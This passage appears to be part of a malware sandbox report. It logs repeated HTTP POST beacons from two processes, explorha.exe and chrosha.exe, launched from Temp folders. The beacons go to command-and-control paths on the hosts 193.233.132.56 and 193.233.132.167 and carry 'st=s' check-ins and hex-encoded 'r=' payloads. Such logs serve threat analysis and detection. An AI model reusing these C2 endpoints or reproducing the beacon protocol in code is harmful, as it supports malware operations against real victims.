Apr 19, 2024 03:30:44.425004959 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:44.675190926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.5	50017	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:44.889322042 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:45.129481077 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:45.131386995 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:45.375921965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.5	50018	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:45.040631056 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:45.286217928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.5	50020	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:45.667098045 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:45.919879913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.5	50021	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:45.736963987 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:45.975958109 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:45.977617025 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:46.224092960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.5	50022	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:46.178802967 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:46.431847095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.5	50023	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:46.586678028 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:46.835067987 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:46.836169958 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:47.088819981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.5	50024	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:46.786720037 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:47.031111956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.5	50025	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:47.287935019 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:47.544823885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.5	50026	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:47.439147949 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:47.683063984 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:47.684029102 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:47.931834936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.5	50027	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:47.902400970 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:48.153949022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.5	50028	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:48.163368940 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:48.413213968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.5	50029	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:48.315152884 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:48.559663057 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:48.561558008 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:48.815291882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.5	50030	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:48.777595997 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:49.022965908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.5	50031	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:49.178529024 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:49.426326036 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:49.427573919 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:49.680027008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.5	50032	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:49.278162003 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:49.534044027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.5	50033	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:49.646121025 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:49.889524937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.5	50034	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:50.039347887 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:50.283154011 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:50.284434080 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
